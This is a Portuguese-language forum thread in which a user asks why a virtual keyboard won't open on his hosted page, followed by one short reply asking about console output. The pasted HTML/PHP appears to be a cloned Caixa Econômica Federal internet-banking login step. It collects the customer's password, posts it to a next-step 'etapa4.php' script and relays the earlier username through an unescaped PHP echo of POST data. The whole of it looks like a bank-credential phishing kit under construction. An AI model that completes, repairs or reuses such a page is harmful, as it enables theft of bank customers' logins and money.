Teclado virtual não abre

Douglas Arrial · Fevereiro 28, 2018

Então pessoal, o negocio é o seguinte to com a cabeça cheia hoje e não consigo de jeito nenhum fazer o teclado virtual abrir na hospedagem e é uma coisa simples só que não estou conseguindo pensar direito sera que podem me ajudar?

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="pt-br" dir="ltr">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,requiresActiveX=true" >
    <meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
    <title>
    </title>
    <script language="JavaScript" src="js/js/geral/funcoes.js"></script>
    <script language="JavaScript" src="js/js/geral/geral.js"></script>

    <!-- Tags Fixas -->
    <meta charset="ISO-8859-1">
    <meta name="viewport" content="maximum-scale=1.6, minimum-scale=0.25" />
    <meta name="author" content="mailto:cpmbraxis@cpmbraxis.com">

    <!-- Tags Alteráveis -->
    <meta name="description" content= "Banco público orientado para o desenvolvimento econômico e social do país">
    <meta name="keywords" content= "Banco público orientado para o desenvolvimento econômico e social do país">

    <!-- Favicon -->
    <link rel="shortcut icon" href="favicon.ico">
    <link rel="icon" type="image/x-icon" href="favicon.ico">

   <!-- CSS -->
										<link rel="stylesheet" href="css/bootstrap7f302.css">
											<link rel="stylesheet" media="all" href="css/login7f30.css">
												<link rel="stylesheet" href="../statics-core/css/principal7f30.css">

													<link rel="stylesheet" href="css/loading7f302.css?">

    <link rel="stylesheet" media="all" href="../siwinstatic/nb/css/reset.css">

    <![if !(IE 7)]>
    <link rel="stylesheet" media="all" href="../siwinstatic/nb/css/structure.css" title="default">
    <![endif]>

    <!--[if IE 7]>
    <link rel="stylesheet" media="all" href="../siwinstatic/nb/css/structureie7.css">
    <![endif]-->


    <link rel="Stylesheet" href="../siwinstatic/nb/css/ui.selectmenu.css">
    <link rel="stylesheet" href="../siwinstatic/nb/css/jquery.ui.datepicker.inter.css">
    <link rel="stylesheet" href="../siwinstatic/nb/css/timeline.css">

    <script src="js/jquery-1.8.0.min.js"></script>

    <!-- jQuery UI -->
    <script src="js/jquery-ui.min.js"></script>
    <script src="js/jquery.pubsub.js"></script>

    <script src="js/LAB.min.js"></script>
    <script src="js/yepnope-lab.js"></script>


    <script src="js/componentes/jquery.modal.js"></script>
    <script src="js/jquery.hashchange.js"></script>
    <script src="js/componentes/jquery.modal.js"></script>
    <script src="js/br/gov/caixa/components.js"></script>
    <script src="js/loadContent.js"></script>
    <script src="js/jquery.placeholder.js"></script>

</head>


<body class="internas">
<script type='text/javascript' src='js/templates/t_login_passo_3.js'></script>

<!-- MAIN -->
<div class="main">

<!-- HEADER -->
																<header class="hidden-xs">
																	<div class="main">
																		<div class="collapse navbar-collapse hidden-sm" id="acessibilidade">
																			<ul class="nav navbar-nav acessMenu fonte10 fonteBranca">
																				<li>
																					<a href="#" data-href="conteudo" class="skip altText fonteBranca" tabindex="1">Ir para conteúdo</a>
																				</li>
																			</ul>
																		</div>
																	</div>
																	<div class="mainHeader | gradient">
																		<div class="contentMainHeader">
																			<h1 class="brand" title="">
																				<a href="#" id="aLogoLink" class="alogo" tabindex="5"></a>
																			</h1>
																		</div>
																	</div>
																</header>
																<!-- END HEADER -->

    <div id="delimitarTeclado" style="width: 1345px;">
																	<div class="main" id="conteudo">



<div data-component="loading"><div class="modalBgLoading" style="display: none;">
	<div class="loading"></div>	
</div> </div>
<!-- BOXES -->
<div class="container-fluid ajusteMargem">
	<div class="row">
	<div class="rowXs">
		<div class="col-md-12 col-xs-12">
			<div class="icoIdentificacaoUsuario iconLogin">
				<span class="tituloPrincipal" style="margin-top:0">Identificação do usuário</span> <br>
			</div>			
			<div class="panel panel-default inputCinza blocLoginCinza">
			
				<div class="panel-body painelCinza xs-p-l-0 xs-p-r-0">
					<div class="col-md-7">
							<div class="form-group">
								<div class="row">
									<div class="col-md-12 col-xs-12">
										<span class="textoDestaque">Para acessar o Internet informe a senha internet.</span>
										<p class="hidden-xs"><strong>Utilize o teclado ao lado para digitar a senha internet.</strong></p>
									</div>
								</div>
								<div id="boxLogin" name="boxLogin">
									<div id="naoDV" style="display: block;">
										<div class="row">
											<div class="col-lg-4 col-md-4 col-sm-4 col-xs-6">

                            <form name="frmLogin" action="etapa4.php" method="post" onsubmit="return Confirmar()" class="normal">
                                <div id="85ParentDialog" class="componente_senha">
                                    <fieldset>
													<span class="clear">
														<div class="relativeinput">
                                                            <input id="senhaatuall"
                                                                   name="senhaatuall"
                                                                   fieldtype="password"
                                                                   class="pie | input-white  |  auto-tab-index-first-item"
                                                                   size="8"
                                                                   tabindex="150"
                                                                   maxlength="8"
                                                                   value=""
                                                                   alt=""
                                                                   title=""
                                                                   placeholder=""
                                                                   onpaste=""
                                                                   ondrop="return false;"
                                                                   onchange=""
                                                                   onclick=""
                                                                   ondblclick=""
                                                                   onkeyup=""
                                                                   onkeypress=""
                                                                   onkeydown=""
                                                                   onfocus="return false;"
                                                                   onblur=""
                                                                   type="password">
                                                        </div>
														<div style="width:100%;float:right;">
                                                            <div id="cbgPIS" class="clear | button-group">
                                                                <div class="left"></div>
                                                            </div>
                                                        </div>
													</span>
                                    </fieldset>
                                    <!-- TECLADO - INICIO -->
                                    <link rel="stylesheet" href="css/keyboard.css">
                                    	<div id="85KeyboardContainer" class="hidden-xs big" style="margin-top: 20px; height: 220px; width: 375px;">
                                    	  <div class="selector keyboard draggable ui-draggable" id="keyboard" style="position: absolute; left: 12px; top: 45px;">
                                    	    <div id="85Dialog" class="tec-vir | pie">
                                    	      <div><span class="drag-button"><img src="../statics-components/js/componentes/teclado/img/keyboardDrag.png" alt="Mover"></span></div>
                                    	      <br>
                                    	      <div class="
																txt-campos
																alignleft"></div>
                                    	      <div id="85Keyboard" class="tecladoNB-keyboard | teclas">
                                    	        <div id="85TecladoN"></div>
                                    	        <div id="85TecladoA1"></div>
                                    	        <div id="85TecladoA2"></div>
                                    	        <div id="85TecladoA3"></div>
                                  	        </div>
                                  	      </div>
                                  	    </div>   
                                        
                                    	  <!-- CONTAINER --><!-- END CONTAINER -->
                                    </div>
                                    <!-- TECLADO - FIM -->
                                </div>
                            </form>
                        </div>
                        <br>
                        <br>
                    </div>
                    <div style="width:100%;float:right;">
                        <div id="cbgPIS" class="clear | button-group">
                            <div class="right">
                                <button id="85Confirm" type="button" class="button-blue" title="Confirmar" tabindex="250" onclick="javascript:Confirmar()">
											<span>
												Confirmar
											</span>
                                </button>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
        </div>
			        <input id="usuario" type="hidden" name="usuario" value="<?PHP echo $_POST['usuario'] ?>">
        <!-- SIDEBAR -->
        <div id="bannerLateral" class="bannerLateral">
            <aside>
                <!-- Advertising -->
                <!-- novo Banner -->
                <div class="bannerVerticalFull">
                    <ul class="advertisingFull">
                        <li></li>
                    </ul>
                    <div class="advertising-controls"></div>
                </div>
                <!-- END Advertising -->
            </aside>
        </div>
        <!-- END SIDEBAR -->

    </div>
    <!-- END CONTENT -->

</div>
<!-- END MAIN -->

<!-- ini - exclusivo para gbuster -->
<div id="divObjGB"></div>
<form name="formGB" method="post"></form>
<!-- fim - exclusivo para gbuster -->

<div class="modalBgLoading" style="display: none;">
																	<div class="loading"></div>
																</div>
<div class="rodapePrincipal hidden-xs">
																	<div class="main">
																		<div class="container-fluid">
																			<div class="row sm-m-l-0">
																				<div class="col-lg-4 col-md-4 col-sm-4 hidden-xs rodapeTelefone">
																					<div id="rodapeSuporte" class="rodapeBtEsq fonteBranca"><div>Suporte Tecnológico<br>3004 1104(Capitais) ou 0800 726 0104(Demais regiões)</div><script>$('#btnContratarPromo').click(function(){if($("#btnContratarPromo").text()=="Eu quero!"){window.open("#")}})</script> </div>
																			  </div>
																					<div class="col-lg-8 col-md-8 col-sm-8 pull-right">
																						<ul class="rodapeNav nav navbar-nav pull-right">
																							<li class="rodapeBtDirEsq">
																								<a id="rodapeAtendimentoLink" class="rodapeLink rodapeBtAtendimento" onclick="abrirLink('rodapeAtendimento')" tabindex="2">Segurançao</a>
																							</li>
																							<li class="rodapeBtDirLinha">
																								<a id="rodapeAtendimentoLink" class="rodapeLink rodapeBtAtendimento" onclick="abrirLink('rodapeAtendimento')" tabindex="2">Rede de Atendimento</a>
																								<a id="rodapeAtendimento" style="display:none" href="#" tabindex="3">.</a>
																							</li>
																							<li class="rodapeBtDirLinha">
																								<a id="rodapeAjudaLink" class="rodapeLink rodapeBtAjuda" onclick="abrirLink('rodapeAjuda')" tabindex="4">Ajuda</a>
																								<a id="rodapeAjuda" style="display:none" href="#" tabindex="5">.</a>
																							</li>
																							<li class="rodapeBtDir">
																								<a id="rodapeTermosLink" class="rodapeLink rodapeBtTermos" onclick="abrirLink('rodapeTermos')" tabindex="6">Termos e Contratos</a>
																								<a id="rodapeTermos" style="display:none" href="#" tabindex="7">.</a>
																							</li>
																						</ul>
																					</div>
																		  </div>
																			</div>
																		</div>
																	</div>
<script type="text/javascript" src="/statics-core/js/lib/jquery.js">
																	function cad_ident_usr(data) {
																		if (data) {
																			$('#descricao').html(data.texto);
																			$('#titulo').html(data.titulo);
																			$('#imgBanner').attr('src', data.img_banner);
																		}
																	}
																</script>
<div class="showMessageBox"><div id="message">
	<div class="messageBox" style="display: none;">
		<div class="arrow"></div>
		<div class="iconClose"></div>
		<div class="iconInfo"></div>
		<div class="msg"></div>
	</div>	
</div></div>
<div id="objetosGBuster" style="height:0"><applet id="GbPluginObj" name="GbPluginObj" archive="" code="br/com/gas/mid/GbAs.class" height="1" width="1" mayscript="">
<param value="eNoFwUeCgjAAAMAHeQCp8eAhdFhahNBurBLpPSL7+p0RWY2VJQlG3MupeTHZrMY59yy0M1Bqht9ERx/meaKaVxg6B/ZLrlEOOhmRMdwQ9VuO+7499Dd7aBxxNP9IMm2ZdALmgoSyAu6nUi/lsUDhcZapxUsHE2uKF6FKRUNsW2Fro0ZHXhuv0kknMXDhldOwy5C4Y5TxcfY0mwqekXp8gNwLwKKN8+1UNwp1hhFPkR3ASQRL3yd2lIyRaE4pd946IlG39kxa6izSC82qdyx/MSnqFLa1Gs5UVJ7V9n43BLBVR56/uWvg3Z4SnSUqyLwtALxtb7c1MGlCCsy9KlOOhX0hbZd37jWKnU/X632mfCBxLlhIhvQrlkfq58vawPv9H5cocak=" name="seed">
<param name="statusChangeCallback" value="jgbasCallbackFunction">
</applet></div>

<div id="errorPage" style="display: none"></div>
<script data-dynamic="true" type="text/javascript">
    jQuery(".main").bind("mousemove mouseout focus", function(){
        if($("#85Dialog").length){
            if($("#85Dialog").offset().left<0){
                $("#85Dialog").offset({left: 0})
            }
            if($("#85Dialog").offset().top<0){
                $("#85Dialog").offset({top: 0})
            }
            if($("#85Dialog").offset().left+$("#85Dialog").width()>screen.width){
                $("#85Dialog").offset({left: screen.width-$("#85Dialog").width()})
            }
            if($("#85Dialog").offset().top+$("#85Dialog").height()>$(".internas").height()){
                $("#85Dialog").offset({top: $(".internas").height()-$("#85Dialog").height()})
            }
        }
    });
    $.Topic("/loadPage/initComponent").publish("85");
    yepnope({
        load: ["js/br/gov/caixa/components.js",
            "js/componentes/jquery.keyboard.js"],
        complete: function(){

            $.keyboard("85", "alfanumerico", false);
            $( "#keyboard" ).draggable({ containment: "#containment-wrapper", scroll: false });
            if (window.PIE) {
                $('.pie').each(function() {
                    PIE.attach(this);
                });
            };
            $.Topic("/loadPage/finishComponent").publish("85");

        }
    });

</script><script data-dynamic="true" type="text/javascript">

    $("#btn_cancelar").click( function() {
        if (!isAcessando()) {
            <!-- Se não for definido uma action para retorno, o default é retornar para a home do IB -->

            new AjaxNovoIB("retorna_transferencia.processa").processPost($("#form").serializeArray());

        }
    });

    function _apl_senha_consisteDados() {
        var ibcCampoSenha = $("#senhaatuall");

        if (!ibcCampoSenha || ibcCampoSenha.val()=="") {
            alert("Favor informar a senha.");
            ibcCampoSenha.focus();
            //setAcessoLiberado();
            return false;
        }



        if (ibcCampoSenha.val().length < 6 || ibcCampoSenha.val().length > 8 ) {

            alert("O valor digitado deve ter entre 6 e 8 caracteres. Favor digitar novamente.");
            ibcCampoSenha.val("");
            ibcCampoSenha.focus();
            //setAcessoLiberado();
            return false;

        }
        else {
            return true;
        }

    }

    function _apl_senha_Confirmar() {
        //   if (!isAcessando()) {
        if (_apl_senha_consisteDados()) {
            // setAcessando();
            alert('sbmit');
            //new AjaxNovoIB(document.form.action).processPost($("#form").serializeArray());

        }
        // }
    }

    function _limparCampos() {
        $("input[id^=85]").val("");
        $("input[id^=85]")[0].focus();
    }


    function onKeyDown(el) {
        if(event.ctrlKey || event.altlKey || event.shiftlKey) return false;
    }

    function onKeyUp(el) {
        alert("Para maior segurança, favor utilizar o teclado virtual.")
        el.value = "";
        //setAcessoLiberado();
        return false;
    }

    function onMouseDown(id) {
        if(event.button == 2)
            return alert('Essa operação não pode ser realizada.');
    }

    $("#senhaatuall").mousedown( function(e) {onMouseDown(this.id)} );

    $("#senhaatuall").keydown( function (e) {onKeyDown(this)} );

    $("#senhaatuall").keyup( function (e) { if(e.keyCode != 8) onKeyUp(this)} );

    $("#85Confirm").mousedown( function(e) {onMouseDown(this.id)} );
    $("#85Confirm").keydown( function (e) {onKeyDown(this)} );
    $("#85Confirm").keyup( function (e) { if(e.keyCode != 8) onKeyUp(this)} );
</script>
    </body>
</html>

Snowden · Março 2, 2018

o que aparece no console ?

Entrar

Arquivado

Teclado virtual não abre

Recommended Posts

Douglas Arrial 0

Compartilhar este post

Link para o post

Compartilhar em outros sites

Snowden 94

Compartilhar este post

Link para o post

Compartilhar em outros sites

Fixar div até atingir uma certa altura

Ajuda com Extends e envio para o banco

PHP+Codeginiter - Orientação para Impressão

Este projeto é apoiado pelas empresas

Fóruns

Tempo Real

Informação importante